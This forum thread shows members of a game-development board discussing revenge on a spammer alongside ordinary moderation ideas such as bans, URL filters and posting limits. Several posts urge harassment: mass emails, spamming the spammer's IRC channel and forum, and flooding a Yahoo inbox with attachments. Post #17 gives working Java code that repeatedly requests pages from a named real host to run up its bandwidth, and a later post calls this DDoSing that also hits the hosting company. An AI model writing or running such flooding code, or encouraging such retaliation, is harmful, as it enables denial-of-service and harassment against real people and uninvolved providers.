WHAT shall we do to these assholes?

General Discussions
#1

These jerks are spreading spam all over our boards.

(ex http://www.java-gaming.org/forums/index.php?topic=10006.15)

I think we need to find a good way to make the punishment fit the crime…

Suggestions?

#2

Here’s their business email if you woudl like to tell them what you think of their advertising tactics.

gametrade100@yahoo.com

I just did… about 20 times :wink:

#3

a) delete all posts of that user
b) delete the user
c) add the advertised url to the censorship list (this will render any future spamming useless)

Well, thats what I do anyways :slight_smile:

#4

I also just went to the COV/COH forums and posted a message telling people these assholes are board spammers and asking them not to patronize them.

Any of you who are members of similar online game communities I encourage you to do likewise.

#5

Ah Ive already asked chris to do the deletion. Didnt know about the banned URL function but if this BBS has it, we’ll do it!

Thanks.

JK

#6

Didnt know about the banned URL function

Its actually more of a “bad word” filter function, which replaces all “bad word”-substrings with some ‘*’ (or ‘x’ or whatever). An url which contains some bad word such as “freeipod” could look like that: http://********.foobar.tld

I also use it for general nuke-age of those stupid referrer-id “games”. I hate em so very very much.

#7

there is a live chat which can be used - and if nothing else, just to annoy them.

[quote][Operator] hi
[Operator] what can i do for you?
[Visitor] why are you spamming boards ?
[Operator] i am sorry for taking trouble to you.we just take convenience to people who need this service.
[Operator] i am sorry to trouble you.
[Operator] maybe it is spamming for you.but if you need the service.it is useful.
[Operator] i am sorry again for taking trouble to you.:slight_smile:
[/quote]
so open up a chat window and tell how you feel about it - should annoy them.

#8

I took a more diplomaic route :

Kev

#9

Deleted posts and name blocked. I am looking into an upgrade fo rhte forums that should help further address the spam issue. Unfortunately, there is nothign that will stop all spam, we just have to deal with it as is comes along.

Thanks for keeping up on this!

-Chris

#10

so open up a chat window and tell how you feel about it - should annoy them.
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I missed that. Just as well Chris handled it though. I wouldn’t have been as nice.

Edit: They do it again though I know what I’m doing… I’m gonna clip all the garbage text from their spam and start spamming their IRC channel back with it.

“My object all sublime, I shall achieve in time, to let the punishment fit the crime, the punishment fit the crime.” –
The Mikado

#11

Something like a spam filter for forums would be nice.
We could create a spam-section, where all the spam gets moved to, so messages that are recognised as spam, but aren’t spam don’t get deleted right away.
Posts in the spam-section get deleted automatically after e.g. one week.

I believe we already know loads of conditions for a message to be spam

  1. if it’s multiple posted
  2. if loads of people report the post (maybe also weighted at the reporters number of post) etc…
    …
#12

Thats a bad idea, arne.

If posts are moved to another forum spiders will still walk over em, which means that those spammers still get everything they hoped for (those handfull of people who click are just an extra).

The 3 steps (which I outlined above) are the best working counter measure.

#13

… ::slight_smile:

Someone should REALLY do something about that.

-what I said above
-email validation
-enforced 24h lurk period or first x posts (say 10) must be manually unlocked by a moderator (could depend on the existence of some url in the post)
-more admins

#14

This time it really screwed up the ‘unread threads’.

Action should be taken, not next month, preferably yesterday.

I’d even vote for 3 days of lurking

#15

I say one person registers to his forum that represents the entire JGO community. that means he’ll only get +1 person and we can have the pleasure of mass spamming his board.

hmm. yep.

#16

Or we could write a little Java app that constantly downloads stuff from his site and spread it around :). His bandwidth costs go up, and his site responsiveness goes down.

#17

yeah, off the top of my head:


import java.io.*;
import java.net.*;
public class Die {
	public Die() throws IOException {
		String host = "gametalk.invisionzone.com";
		Socket sock = new Socket(host,80);
		PrintStream p = new PrintStream(sock.getOutputStream());
		String request = "GET / HTTP/1.1";
		request+="\r\nFrom: darkangel@invisionzone.com";
		request+="\r\nHost: "+host;
		request+="\r\nConnection: Keep-Alive\r\n\r\n";
		System.out.println(request);
		BufferedReader b = new BufferedReader(new InputStreamReader(sock.getInputStream()));
		p.print(request);
		String s,lastLine = "";
		while ((s = b.readLine()) != null) {
			System.out.println(s);
			if (s.length() == 0 && lastLine.equals("0")) {
				p.println(request);
				lastLine = "";
			}
			lastLine = ""+s;
		}
	}
	public static void main(String args[]) {
		try {
			new Die();
		}
		catch (IOException e) {
			e.printStackTrace();
		}
	}
}

what a way to kill a boring night

#18

All nice and well… but we’re not only DDoSing his site, also the site of the hoster (invisionzone.com) or at least the ‘shares’ on his elcheapo-webserver

#19

hmmm… yahoo mail, how about we fill it up with useless attachments so they can’t receive mail for a short time? What’s limit on yahoo? 10MB?

Anyway for new users I agree to have limitations like max 2 posts every 30 mins or something like that. When they reach 2 stars (junior member?) then all limitations are removed.

#20

I’m sure the hoster will have to start asking him questions then… What’s he gonna say? “I was just advertising my site. It must have worked!” :slight_smile: